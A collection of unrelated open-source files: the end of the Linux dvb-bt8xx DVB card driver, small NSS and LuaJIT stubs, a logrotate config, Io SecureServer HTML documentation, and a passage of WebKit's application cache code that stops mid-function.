* must remain reset for 128 clock cycles on a 50Mhz clock
* also PRM1 PRM2 & PRM4 are controlled by GPIO-1,GPIO-2 & GPIO-4
* We assume that the reset has be held low long enough or we
* have been reset by a power on. When the driver is unloaded
* reset set to 0 so if reloaded we have been reset.
*/
/* reset & PRM1,2&4 are outputs */
int ret = bttv_gpio_enable(bt->bttv_nr, 0x001F, 0x001F);
if (ret != 0)
printk(KERN_WARNING "or51211: Init Error - Can't Reset DVR (%i)\n", ret);
bttv_write_gpio(bt->bttv_nr, 0x001F, 0x0000); /* Reset */
msleep(20);
/* Now set for normal operation */
bttv_write_gpio(bt->bttv_nr, 0x0001F, 0x0001);
/* wait for operation to begin */
msleep(500);
}
static void or51211_sleep(struct dvb_frontend * fe)
{
struct dvb_bt8xx_card *bt = fe->dvb->priv;
bttv_write_gpio(bt->bttv_nr, 0x0001, 0x0000);
}
static struct or51211_config or51211_config = {
.demod_address = 0x15,
.request_firmware = or51211_request_firmware,
.setmode = or51211_setmode,
.reset = or51211_reset,
.sleep = or51211_sleep,
};
static int vp3021_alps_tded4_tuner_set_params(struct dvb_frontend *fe)
{
struct dtv_frontend_properties *c = &fe->dtv_property_cache;
struct dvb_bt8xx_card *card = (struct dvb_bt8xx_card *) fe->dvb->priv;
u8 buf[4];
u32 div;
struct i2c_msg msg = { .addr = 0x60, .flags = 0, .buf = buf, .len = sizeof(buf) };
div = (c->frequency + 36166667) / 166667;
buf[0] = (div >> 8) & 0x7F;
buf[1] = div & 0xFF;
buf[2] = 0x85;
if ((c->frequency >= 47000000) && (c->frequency < 153000000))
buf[3] = 0x01;
else if ((c->frequency >= 153000000) && (c->frequency < 430000000))
buf[3] = 0x02;
else if ((c->frequency >= 430000000) && (c->frequency < 824000000))
buf[3] = 0x0C;
else if ((c->frequency >= 824000000) && (c->frequency < 863000000))
buf[3] = 0x8C;
else
return -EINVAL;
if (fe->ops.i2c_gate_ctrl)
fe->ops.i2c_gate_ctrl(fe, 1);
i2c_transfer(card->i2c_adapter, &msg, 1);
return 0;
}
static struct nxt6000_config vp3021_alps_tded4_config = {
.demod_address = 0x0a,
.clock_inversion = 1,
};
static int digitv_alps_tded4_demod_init(struct dvb_frontend* fe)
{
static u8 mt352_clock_config [] = { 0x89, 0x38, 0x2d };
static u8 mt352_reset [] = { 0x50, 0x80 };
static u8 mt352_adc_ctl_1_cfg [] = { 0x8E, 0x40 };
static u8 mt352_agc_cfg [] = { 0x67, 0x20, 0xa0 };
static u8 mt352_capt_range_cfg[] = { 0x75, 0x32 };
mt352_write(fe, mt352_clock_config, sizeof(mt352_clock_config));
udelay(2000);
mt352_write(fe, mt352_reset, sizeof(mt352_reset));
mt352_write(fe, mt352_adc_ctl_1_cfg, sizeof(mt352_adc_ctl_1_cfg));
mt352_write(fe, mt352_agc_cfg,sizeof(mt352_agc_cfg));
mt352_write(fe, mt352_capt_range_cfg, sizeof(mt352_capt_range_cfg));
return 0;
}
static int digitv_alps_tded4_tuner_calc_regs(struct dvb_frontend *fe, u8 *pllbuf, int buf_len)
{
u32 div;
struct dtv_frontend_properties *c = &fe->dtv_property_cache;
if (buf_len < 5)
return -EINVAL;
div = (((c->frequency + 83333) * 3) / 500000) + IF_FREQUENCYx6;
pllbuf[0] = 0x61;
pllbuf[1] = (div >> 8) & 0x7F;
pllbuf[2] = div & 0xFF;
pllbuf[3] = 0x85;
dprintk("frequency %u, div %u\n", c->frequency, div);
if (c->frequency < 470000000)
pllbuf[4] = 0x02;
else if (c->frequency > 823000000)
pllbuf[4] = 0x88;
else
pllbuf[4] = 0x08;
if (c->bandwidth_hz == 8000000)
pllbuf[4] |= 0x04;
return 5;
}
static void digitv_alps_tded4_reset(struct dvb_bt8xx_card *bt)
{
/*
* Reset the frontend, must be called before trying
* to initialise the MT352 or mt352_attach
* will fail. Same goes for the nxt6000 frontend.
*
*/
int ret = bttv_gpio_enable(bt->bttv_nr, 0x08, 0x08);
if (ret != 0)
printk(KERN_WARNING "digitv_alps_tded4: Init Error - Can't Reset DVR (%i)\n", ret);
/* Pulse the reset line */
bttv_write_gpio(bt->bttv_nr, 0x08, 0x08); /* High */
bttv_write_gpio(bt->bttv_nr, 0x08, 0x00); /* Low */
msleep(100);
bttv_write_gpio(bt->bttv_nr, 0x08, 0x08); /* High */
}
static struct mt352_config digitv_alps_tded4_config = {
.demod_address = 0x0a,
.demod_init = digitv_alps_tded4_demod_init,
};
static struct lgdt330x_config tdvs_tua6034_config = {
.demod_address = 0x0e,
.demod_chip = LGDT3303,
.serial_mpeg = 0x40, /* TPSERIAL for 3303 in TOP_CONTROL */
};
static void lgdt330x_reset(struct dvb_bt8xx_card *bt)
{
/* Set pin 27 of the lgdt3303 chip high to reset the frontend */
/* Pulse the reset line */
bttv_write_gpio(bt->bttv_nr, 0x00e00007, 0x00000001); /* High */
bttv_write_gpio(bt->bttv_nr, 0x00e00007, 0x00000000); /* Low */
msleep(100);
bttv_write_gpio(bt->bttv_nr, 0x00e00007, 0x00000001); /* High */
msleep(100);
}
static void frontend_init(struct dvb_bt8xx_card *card, u32 type)
{
struct dst_state* state = NULL;
switch(type) {
case BTTV_BOARD_DVICO_DVBT_LITE:
card->fe = dvb_attach(mt352_attach, &thomson_dtt7579_config, card->i2c_adapter);
if (card->fe == NULL)
card->fe = dvb_attach(zl10353_attach, &thomson_dtt7579_zl10353_config,
card->i2c_adapter);
if (card->fe != NULL) {
card->fe->ops.tuner_ops.calc_regs = thomson_dtt7579_tuner_calc_regs;
card->fe->ops.info.frequency_min = 174000000;
card->fe->ops.info.frequency_max = 862000000;
}
break;
case BTTV_BOARD_DVICO_FUSIONHDTV_5_LITE:
lgdt330x_reset(card);
card->fe = dvb_attach(lgdt330x_attach, &tdvs_tua6034_config, card->i2c_adapter);
if (card->fe != NULL) {
dvb_attach(simple_tuner_attach, card->fe,
card->i2c_adapter, 0x61,
TUNER_LG_TDVS_H06XF);
dprintk ("dvb_bt8xx: lgdt330x detected\n");
}
break;
case BTTV_BOARD_NEBULA_DIGITV:
/*
* It is possible to determine the correct frontend using the I2C bus (see the Nebula SDK);
* this would be a cleaner solution than trying each frontend in turn.
*/
/* Old Nebula (marked (c)2003 on high profile pci card) has nxt6000 demod */
digitv_alps_tded4_reset(card);
card->fe = dvb_attach(nxt6000_attach, &vp3021_alps_tded4_config, card->i2c_adapter);
if (card->fe != NULL) {
card->fe->ops.tuner_ops.set_params = vp3021_alps_tded4_tuner_set_params;
dprintk ("dvb_bt8xx: an nxt6000 was detected on your digitv card\n");
break;
}
/* New Nebula (marked (c)2005 on low profile pci card) has mt352 demod */
digitv_alps_tded4_reset(card);
card->fe = dvb_attach(mt352_attach, &digitv_alps_tded4_config, card->i2c_adapter);
if (card->fe != NULL) {
card->fe->ops.tuner_ops.calc_regs = digitv_alps_tded4_tuner_calc_regs;
dprintk ("dvb_bt8xx: an mt352 was detected on your digitv card\n");
}
break;
case BTTV_BOARD_AVDVBT_761:
card->fe = dvb_attach(sp887x_attach, µtune_mt7202dtf_config, card->i2c_adapter);
if (card->fe) {
card->fe->ops.tuner_ops.set_params = microtune_mt7202dtf_tuner_set_params;
}
break;
case BTTV_BOARD_AVDVBT_771:
card->fe = dvb_attach(mt352_attach, &advbt771_samsung_tdtc9251dh0_config, card->i2c_adapter);
if (card->fe != NULL) {
card->fe->ops.tuner_ops.calc_regs = advbt771_samsung_tdtc9251dh0_tuner_calc_regs;
card->fe->ops.info.frequency_min = 174000000;
card->fe->ops.info.frequency_max = 862000000;
}
break;
case BTTV_BOARD_TWINHAN_DST:
/* DST is not a frontend driver !!! */
state = kmalloc(sizeof (struct dst_state), GFP_KERNEL);
if (!state) {
pr_err("No memory\n");
break;
}
/* Setup the Card */
state->config = &dst_config;
state->i2c = card->i2c_adapter;
state->bt = card->bt;
state->dst_ca = NULL;
/* DST is not a frontend, attaching the ASIC */
if (dvb_attach(dst_attach, state, &card->dvb_adapter) == NULL) {
pr_err("%s: Could not find a Twinhan DST\n", __func__);
break;
}
/* Attach other DST peripherals if any */
/* Conditional Access device */
card->fe = &state->frontend;
if (state->dst_hw_cap & DST_TYPE_HAS_CA)
dvb_attach(dst_ca_attach, state, &card->dvb_adapter);
break;
case BTTV_BOARD_PINNACLESAT:
card->fe = dvb_attach(cx24110_attach, &pctvsat_config, card->i2c_adapter);
if (card->fe) {
card->fe->ops.tuner_ops.init = pinnsat_tuner_init;
card->fe->ops.tuner_ops.sleep = pinnsat_tuner_sleep;
card->fe->ops.tuner_ops.set_params = cx24108_tuner_set_params;
}
break;
case BTTV_BOARD_PC_HDTV:
card->fe = dvb_attach(or51211_attach, &or51211_config, card->i2c_adapter);
if (card->fe != NULL)
dvb_attach(simple_tuner_attach, card->fe,
card->i2c_adapter, 0x61,
TUNER_PHILIPS_FCV1236D);
break;
}
if (card->fe == NULL)
pr_err("A frontend driver was not found for device [%04x:%04x] subsystem [%04x:%04x]\n",
card->bt->dev->vendor,
card->bt->dev->device,
card->bt->dev->subsystem_vendor,
card->bt->dev->subsystem_device);
else
if (dvb_register_frontend(&card->dvb_adapter, card->fe)) {
pr_err("Frontend registration failed!\n");
dvb_frontend_detach(card->fe);
card->fe = NULL;
}
}
static int dvb_bt8xx_load_card(struct dvb_bt8xx_card *card, u32 type)
{
int result;
result = dvb_register_adapter(&card->dvb_adapter, card->card_name,
THIS_MODULE, &card->bt->dev->dev,
adapter_nr);
if (result < 0) {
pr_err("dvb_register_adapter failed (errno = %d)\n", result);
return result;
}
card->dvb_adapter.priv = card;
card->bt->adapter = card->i2c_adapter;
memset(&card->demux, 0, sizeof(struct dvb_demux));
card->demux.dmx.capabilities = DMX_TS_FILTERING | DMX_SECTION_FILTERING | DMX_MEMORY_BASED_FILTERING;
card->demux.priv = card;
card->demux.filternum = 256;
card->demux.feednum = 256;
card->demux.start_feed = dvb_bt8xx_start_feed;
card->demux.stop_feed = dvb_bt8xx_stop_feed;
card->demux.write_to_decoder = NULL;
result = dvb_dmx_init(&card->demux);
if (result < 0) {
pr_err("dvb_dmx_init failed (errno = %d)\n", result);
goto err_unregister_adaptor;
}
card->dmxdev.filternum = 256;
card->dmxdev.demux = &card->demux.dmx;
card->dmxdev.capabilities = 0;
result = dvb_dmxdev_init(&card->dmxdev, &card->dvb_adapter);
if (result < 0) {
pr_err("dvb_dmxdev_init failed (errno = %d)\n", result);
goto err_dmx_release;
}
card->fe_hw.source = DMX_FRONTEND_0;
result = card->demux.dmx.add_frontend(&card->demux.dmx, &card->fe_hw);
if (result < 0) {
pr_err("dvb_dmx_init failed (errno = %d)\n", result);
goto err_dmxdev_release;
}
card->fe_mem.source = DMX_MEMORY_FE;
result = card->demux.dmx.add_frontend(&card->demux.dmx, &card->fe_mem);
if (result < 0) {
pr_err("dvb_dmx_init failed (errno = %d)\n", result);
goto err_remove_hw_frontend;
}
result = card->demux.dmx.connect_frontend(&card->demux.dmx, &card->fe_hw);
if (result < 0) {
pr_err("dvb_dmx_init failed (errno = %d)\n", result);
goto err_remove_mem_frontend;
}
result = dvb_net_init(&card->dvb_adapter, &card->dvbnet, &card->demux.dmx);
if (result < 0) {
pr_err("dvb_net_init failed (errno = %d)\n", result);
goto err_disconnect_frontend;
}
tasklet_init(&card->bt->tasklet, dvb_bt8xx_task, (unsigned long) card);
frontend_init(card, type);
return 0;
err_disconnect_frontend:
card->demux.dmx.disconnect_frontend(&card->demux.dmx);
err_remove_mem_frontend:
card->demux.dmx.remove_frontend(&card->demux.dmx, &card->fe_mem);
err_remove_hw_frontend:
card->demux.dmx.remove_frontend(&card->demux.dmx, &card->fe_hw);
err_dmxdev_release:
dvb_dmxdev_release(&card->dmxdev);
err_dmx_release:
dvb_dmx_release(&card->demux);
err_unregister_adaptor:
dvb_unregister_adapter(&card->dvb_adapter);
return result;
}
static int dvb_bt8xx_probe(struct bttv_sub_device *sub)
{
struct dvb_bt8xx_card *card;
struct pci_dev* bttv_pci_dev;
int ret;
if (!(card = kzalloc(sizeof(struct dvb_bt8xx_card), GFP_KERNEL)))
return -ENOMEM;
mutex_init(&card->lock);
card->bttv_nr = sub->core->nr;
strlcpy(card->card_name, sub->core->v4l2_dev.name, sizeof(card->card_name));
card->i2c_adapter = &sub->core->i2c_adap;
switch(sub->core->type) {
case BTTV_BOARD_PINNACLESAT:
card->gpio_mode = 0x0400c060;
/* should be: BT878_A_GAIN=0,BT878_A_PWRDN,BT878_DA_DPM,BT878_DA_SBR,
BT878_DA_IOM=1,BT878_DA_APP to enable serial highspeed mode. */
card->op_sync_orin = BT878_RISC_SYNC_MASK;
card->irq_err_ignore = BT878_AFBUS | BT878_AFDSR;
break;
case BTTV_BOARD_DVICO_DVBT_LITE:
card->gpio_mode = 0x0400C060;
card->op_sync_orin = BT878_RISC_SYNC_MASK;
card->irq_err_ignore = BT878_AFBUS | BT878_AFDSR;
/* 26, 15, 14, 6, 5
* A_PWRDN DA_DPM DA_SBR DA_IOM_DA
* DA_APP(parallel) */
break;
case BTTV_BOARD_DVICO_FUSIONHDTV_5_LITE:
card->gpio_mode = 0x0400c060;
card->op_sync_orin = BT878_RISC_SYNC_MASK;
card->irq_err_ignore = BT878_AFBUS | BT878_AFDSR;
break;
case BTTV_BOARD_NEBULA_DIGITV:
case BTTV_BOARD_AVDVBT_761:
card->gpio_mode = (1 << 26) | (1 << 14) | (1 << 5);
card->op_sync_orin = BT878_RISC_SYNC_MASK;
card->irq_err_ignore = BT878_AFBUS | BT878_AFDSR;
/* A_PWRDN DA_SBR DA_APP (high speed serial) */
break;
case BTTV_BOARD_AVDVBT_771: //case 0x07711461:
card->gpio_mode = 0x0400402B;
card->op_sync_orin = BT878_RISC_SYNC_MASK;
card->irq_err_ignore = BT878_AFBUS | BT878_AFDSR;
/* A_PWRDN DA_SBR DA_APP[0] PKTP=10 RISC_ENABLE FIFO_ENABLE*/
break;
case BTTV_BOARD_TWINHAN_DST:
card->gpio_mode = 0x2204f2c;
card->op_sync_orin = BT878_RISC_SYNC_MASK;
card->irq_err_ignore = BT878_APABORT | BT878_ARIPERR |
BT878_APPERR | BT878_AFBUS;
/* 25,21,14,11,10,9,8,3,2 then
* 0x33 = 5,4,1,0
* A_SEL=SML, DA_MLB, DA_SBR,
* DA_SDR=f, fifo trigger = 32 DWORDS
* IOM = 0 == audio A/D
* DPM = 0 == digital audio mode
* == async data parallel port
* then 0x33 (13 is set by start_capture)
* DA_APP = async data parallel port,
* ACAP_EN = 1,
* RISC+FIFO ENABLE */
break;
case BTTV_BOARD_PC_HDTV:
card->gpio_mode = 0x0100EC7B;
card->op_sync_orin = BT878_RISC_SYNC_MASK;
card->irq_err_ignore = BT878_AFBUS | BT878_AFDSR;
break;
default:
pr_err("Unknown bttv card type: %d\n", sub->core->type);
kfree(card);
return -ENODEV;
}
dprintk("dvb_bt8xx: identified card%d as %s\n", card->bttv_nr, card->card_name);
if (!(bttv_pci_dev = bttv_get_pcidev(card->bttv_nr))) {
pr_err("no pci device for card %d\n", card->bttv_nr);
kfree(card);
return -ENODEV;
}
if (!(card->bt = dvb_bt8xx_878_match(card->bttv_nr, bttv_pci_dev))) {
pr_err("unable to determine DMA core of card %d,\n", card->bttv_nr);
pr_err("if you have the ALSA bt87x audio driver installed, try removing it.\n");
kfree(card);
return -ENODEV;
}
mutex_init(&card->bt->gpio_lock);
card->bt->bttv_nr = sub->core->nr;
if ( (ret = dvb_bt8xx_load_card(card, sub->core->type)) ) {
kfree(card);
return ret;
}
dev_set_drvdata(&sub->dev, card);
return 0;
}
static void dvb_bt8xx_remove(struct bttv_sub_device *sub)
{
struct dvb_bt8xx_card *card = dev_get_drvdata(&sub->dev);
dprintk("dvb_bt8xx: unloading card%d\n", card->bttv_nr);
bt878_stop(card->bt);
tasklet_kill(&card->bt->tasklet);
dvb_net_release(&card->dvbnet);
card->demux.dmx.remove_frontend(&card->demux.dmx, &card->fe_mem);
card->demux.dmx.remove_frontend(&card->demux.dmx, &card->fe_hw);
dvb_dmxdev_release(&card->dmxdev);
dvb_dmx_release(&card->demux);
if (card->fe) {
dvb_unregister_frontend(card->fe);
dvb_frontend_detach(card->fe);
}
dvb_unregister_adapter(&card->dvb_adapter);
kfree(card);
}
static struct bttv_sub_driver driver = {
.drv = {
.name = "dvb-bt8xx",
},
.probe = dvb_bt8xx_probe,
.remove = dvb_bt8xx_remove,
/* FIXME:
* .shutdown = dvb_bt8xx_shutdown,
* .suspend = dvb_bt8xx_suspend,
* .resume = dvb_bt8xx_resume,
*/
};
static int __init dvb_bt8xx_init(void)
{
return bttv_sub_register(&driver, "dvb");
}
static void __exit dvb_bt8xx_exit(void)
{
bttv_sub_unregister(&driver);
}
module_init(dvb_bt8xx_init);
module_exit(dvb_bt8xx_exit);
MODULE_DESCRIPTION("Bt8xx based DVB adapter driver");
MODULE_AUTHOR("Florian Schirmer <[email protected]>");
MODULE_LICENSE("GPL");
| {
"pile_set_name": "Github"
} |
/* THIS IS A GENERATED FILE */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#ifndef NSSCKG_H
#define NSSCKG_H
#include "pkcs11.h"
#endif /* NSSCKG_H */
| {
"pile_set_name": "Github"
} |
/*
** Bytecode instruction modes.
** Copyright (C) 2005-2012 Mike Pall. See Copyright Notice in luajit.h
*/
#define lj_bc_c
#define LUA_CORE
#include "lj_obj.h"
#include "lj_bc.h"
/* Bytecode offsets and bytecode instruction modes. */
#include "lj_bcdef.h"
| {
"pile_set_name": "Github"
} |
/var/log/mackerel-agent.log {
daily
rotate 7
missingok
sharedscripts
notifempty
compress
copytruncate
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<title>SecureServer</title>
<META HTTP-EQUIV="EXPIRES" CONTENT=0>
<link rel="stylesheet" href="../../../../docs.css">
</head>
<body>
<br>
<h1>Io Reference</h1>
<br><br><br>
<br><br><br>
<a class='column' href='../../index.html'>Networking</a>
<font color=#ccc>/</font>
<a class='column' href='../index.html'>SecureSocket</a>
<font color=#ccc>/</font>
<b>SecureServer</b>
<br><br><br>
<br><br><br>
<table border=0 cellspacing=0 style="margin-left:8em; width:40em; line-height:1.2em;">
<tr>
<td align=right></td>
<td></td>
<td>Interface to secure network communication.
A SecureServer is a wrapper on an OpenSSL SSL_CTX object
and supports both TLSv1 and DTLSv1.
Example:
<pre>
//...
</pre>
</td></tr>
<tr><td colspan=3> </td></tr>
<tr><td colspan=3> </td></tr>
<tr><td colspan=3> </td></tr>
<tr>
<td align=right>
</td>
<td></td>
<td>
<hr align=left color=#ddd height=1>
<br><br>
<a name="SecureServer-dispatchUdp"></a><b>
dispatchUdp
</b>
<p>
<div class=slotDescription>
Returns dispatchUdp value.
</div>
<a name="SecureServer-dtlsWrap"></a><b>
dtlsWrap
</b>
<p>
<div class=slotDescription>
Returns dtlsWrap value.
</div>
<a name="SecureServer-port"></a><b>
port
</b>
<p>
<div class=slotDescription>
Returns the port on which the server will listen for connections.
</div>
<a name="SecureServer-setCAFile"></a><b>
setCAFile(path)
</b>
<p>
<div class=slotDescription>
Sets the CA file. Returns self.
</div>
<a name="SecureServer-setCRLFile"></a><b>
setCRLFile(path)
</b>
<p>
<div class=slotDescription>
Sets the CRL file. Returns self.
</div>
<a name="SecureServer-setCertFile"></a><b>
setCertFile(path)
</b>
<p>
<div class=slotDescription>
Sets the certificate file. Returns self.
</div>
<a name="SecureServer-setHost"></a><b>
setHost(hostName)
</b>
<p>
<div class=slotDescription>
Sets the hostName. Returns self.
</div>
<a name="SecureServer-setKeyFile"></a><b>
setKeyFile(path)
</b>
<p>
<div class=slotDescription>
Sets the key file. Returns self.
</div>
<a name="SecureServer-setPort"></a><b>
setPort(aNumber)
</b>
<p>
<div class=slotDescription>
Sets the port on which the server will listen for connections. Returns self.
</div>
<a name="SecureServer-setRequiresClientCertificate"></a><b>
setRequiresClientCertificate(aBool)
</b>
<p>
<div class=slotDescription>
Sets the requires client certificate attribute. Returns self.
</div>
<a name="SecureServer-stop"></a><b>
stop
</b>
<p>
<div class=slotDescription>
Stops the server if it is running. Returns self.
</div>
<a name="SecureServer-supportsDTLS"></a><b>
supportsDTLS
</b>
<p>
<div class=slotDescription>
Returns true if server supports DTLS, false otherwise.
</div>
<a name="SecureServer-tlsWrap"></a><b>
tlsWrap
</b>
<p>
<div class=slotDescription>
Returns tlsWrap value.
</div>
<a name="SecureServer-udpRecvIP"></a><b>
udpRecvIP
</b>
<p>
<div class=slotDescription>
Returns udpRecvIP value.
</div>
<a name="SecureServer-useDTLS"></a><b>
useDTLS
</b>
<p>
<div class=slotDescription>
Returns useDTLS value.
</div>
<a name="SecureServer-useTLS"></a><b>
useTLS
</b>
<p>
<div class=slotDescription>
Returns useTLS value.
</div>
</td>
</tr>
</table>
<br><br><br><br><br>
</body>
</html>
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2008-2017 Apple Inc. All Rights Reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
* OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "ApplicationCacheGroup.h"
#include "ApplicationCache.h"
#include "ApplicationCacheHost.h"
#include "ApplicationCacheResource.h"
#include "ApplicationCacheResourceLoader.h"
#include "ApplicationCacheStorage.h"
#include "Chrome.h"
#include "ChromeClient.h"
#include "DOMApplicationCache.h"
#include "DocumentLoader.h"
#include "EventNames.h"
#include "Frame.h"
#include "FrameLoader.h"
#include "FrameLoaderClient.h"
#include "HTTPHeaderNames.h"
#include "InspectorInstrumentation.h"
#include "ManifestParser.h"
#include "NavigationScheduler.h"
#include "NetworkLoadMetrics.h"
#include "Page.h"
#include "ProgressTracker.h"
#include "SecurityOrigin.h"
#include "Settings.h"
#include <wtf/CompletionHandler.h>
#include <wtf/HashMap.h>
#include <wtf/MainThread.h>
namespace WebCore {
ApplicationCacheGroup::ApplicationCacheGroup(Ref<ApplicationCacheStorage>&& storage, const URL& manifestURL)
: m_storage(WTFMove(storage))
, m_manifestURL(manifestURL)
, m_origin(SecurityOrigin::create(manifestURL))
, m_availableSpaceInQuota(ApplicationCacheStorage::unknownQuota())
{
}
ApplicationCacheGroup::~ApplicationCacheGroup()
{
ASSERT(!m_newestCache);
ASSERT(m_caches.isEmpty());
stopLoading();
m_storage->cacheGroupDestroyed(*this);
}
ApplicationCache* ApplicationCacheGroup::cacheForMainRequest(const ResourceRequest& request, DocumentLoader* documentLoader)
{
if (!ApplicationCache::requestIsHTTPOrHTTPSGet(request))
return nullptr;
URL url(request.url());
url.removeFragmentIdentifier();
auto* page = documentLoader->frame() ? documentLoader->frame()->page() : nullptr;
if (!page || page->usesEphemeralSession())
return nullptr;
auto* group = page->applicationCacheStorage().cacheGroupForURL(url);
if (!group)
return nullptr;
ASSERT(group->newestCache());
ASSERT(!group->isObsolete());
return group->newestCache();
}
ApplicationCache* ApplicationCacheGroup::fallbackCacheForMainRequest(const ResourceRequest& request, DocumentLoader* documentLoader)
{
if (!ApplicationCache::requestIsHTTPOrHTTPSGet(request))
return nullptr;
auto* frame = documentLoader->frame();
if (!frame)
return nullptr;
auto* page = frame->page();
if (!page)
return nullptr;
URL url(request.url());
url.removeFragmentIdentifier();
auto* group = page->applicationCacheStorage().fallbackCacheGroupForURL(url);
if (!group)
return nullptr;
ASSERT(group->newestCache());
ASSERT(!group->isObsolete());
return group->newestCache();
}
void ApplicationCacheGroup::selectCache(Frame& frame, const URL& passedManifestURL)
{
ASSERT(frame.document());
ASSERT(frame.page());
ASSERT(frame.loader().documentLoader());
if (!frame.settings().offlineWebApplicationCacheEnabled())
return;
auto& documentLoader = *frame.loader().documentLoader();
ASSERT(!documentLoader.applicationCacheHost().applicationCache());
if (passedManifestURL.isNull()) {
selectCacheWithoutManifestURL(frame);
return;
}
// Don't access anything on disk if private browsing is enabled.
if (frame.page()->usesEphemeralSession() || !frame.document()->securityOrigin().canAccessApplicationCache(frame.tree().top().document()->securityOrigin())) {
postListenerTask(eventNames().checkingEvent, documentLoader);
postListenerTask(eventNames().errorEvent, documentLoader);
return;
}
URL manifestURL(passedManifestURL);
manifestURL.removeFragmentIdentifier();
auto* mainResourceCache = documentLoader.applicationCacheHost().mainResourceApplicationCache();
if (mainResourceCache) {
ASSERT(mainResourceCache->group());
if (manifestURL == mainResourceCache->group()->m_manifestURL) {
// The cache may have gotten obsoleted after we've loaded from it, but before we parsed the document and saw cache manifest.
if (mainResourceCache->group()->isObsolete())
return;
mainResourceCache->group()->associateDocumentLoaderWithCache(&documentLoader, mainResourceCache);
mainResourceCache->group()->update(frame, ApplicationCacheUpdateWithBrowsingContext);
} else {
// The main resource was loaded from cache, so the cache must have an entry for it. Mark it as foreign.
URL resourceURL { documentLoader.responseURL() };
resourceURL.removeFragmentIdentifier();
ASSERT(mainResourceCache->resourceForURL(resourceURL));
auto& resource = *mainResourceCache->resourceForURL(resourceURL);
bool inStorage = resource.storageID();
resource.addType(ApplicationCacheResource::Foreign);
if (inStorage)
frame.page()->applicationCacheStorage().storeUpdatedType(&resource, mainResourceCache);
// Restart the current navigation from the top of the navigation algorithm, undoing any changes that were made
// as part of the initial load.
// The navigation will not result in the same resource being loaded, because "foreign" entries are never picked during navigation.
frame.navigationScheduler().scheduleLocationChange(*frame.document(), frame.document()->securityOrigin(), documentLoader.url(), frame.loader().referrer());
}
return;
}
// The resource was loaded from the network, check if it is a HTTP/HTTPS GET.
auto& request = frame.loader().activeDocumentLoader()->request();
if (!ApplicationCache::requestIsHTTPOrHTTPSGet(request))
return;
// Check that the resource URL has the same scheme/host/port as the manifest URL.
if (!protocolHostAndPortAreEqual(manifestURL, request.url()))
return;
auto& group = *frame.page()->applicationCacheStorage().findOrCreateCacheGroup(manifestURL);
documentLoader.applicationCacheHost().setCandidateApplicationCacheGroup(&group);
group.m_pendingMasterResourceLoaders.add(&documentLoader);
group.m_downloadingPendingMasterResourceLoadersCount++;
ASSERT(!group.m_cacheBeingUpdated || group.m_updateStatus != Idle);
group.update(frame, ApplicationCacheUpdateWithBrowsingContext);
}
void ApplicationCacheGroup::selectCacheWithoutManifestURL(Frame& frame)
{
if (!frame.settings().offlineWebApplicationCacheEnabled())
return;
ASSERT(frame.document());
ASSERT(frame.page());
ASSERT(frame.loader().documentLoader());
auto& documentLoader = *frame.loader().documentLoader();
ASSERT(!documentLoader.applicationCacheHost().applicationCache());
// Don't access anything on disk if private browsing is enabled.
if (frame.page()->usesEphemeralSession() || !frame.document()->securityOrigin().canAccessApplicationCache(frame.tree().top().document()->securityOrigin())) {
postListenerTask(eventNames().checkingEvent, documentLoader);
postListenerTask(eventNames().errorEvent, documentLoader);
return;
}
if (auto* mainResourceCache = documentLoader.applicationCacheHost().mainResourceApplicationCache()) {
ASSERT(mainResourceCache->group());
auto& group = *mainResourceCache->group();
group.associateDocumentLoaderWithCache(&documentLoader, mainResourceCache);
group.update(frame, ApplicationCacheUpdateWithBrowsingContext);
}
}
void ApplicationCacheGroup::finishedLoadingMainResource(DocumentLoader& loader)
{
ASSERT(m_pendingMasterResourceLoaders.contains(&loader));
ASSERT(m_completionType == None || m_pendingEntries.isEmpty());
URL url = loader.url();
url.removeFragmentIdentifier();
switch (m_completionType) {
case None:
// The main resource finished loading before the manifest was ready. It will be handled via dispatchMainResources() later.
return;
case NoUpdate:
ASSERT(!m_cacheBeingUpdated);
associateDocumentLoaderWithCache(&loader, m_newestCache.get());
if (auto* resource = m_newestCache->resourceForURL(url)) {
if (!(resource->type() & ApplicationCacheResource::Master)) {
resource->addType(ApplicationCacheResource::Master);
ASSERT(!resource->storageID());
}
} else
m_newestCache->addResource(ApplicationCacheResource::create(url, loader.response(), ApplicationCacheResource::Master, loader.mainResourceData()));
break;
case Failure:
// Cache update has been a failure, so there is no reason to keep the document associated with the incomplete cache
// (its main resource was not cached yet, so it is likely that the application changed significantly server-side).
ASSERT(!m_cacheBeingUpdated); // Already cleared out by stopLoading().
loader.applicationCacheHost().setApplicationCache(nullptr); // Will unset candidate, too.
m_associatedDocumentLoaders.remove(&loader);
postListenerTask(eventNames().errorEvent, loader);
break;
case Completed:
ASSERT(m_associatedDocumentLoaders.contains(&loader));
if (auto* resource = m_cacheBeingUpdated->resourceForURL(url)) {
if (!(resource->type() & ApplicationCacheResource::Master)) {
resource->addType(ApplicationCacheResource::Master);
ASSERT(!resource->storageID());
}
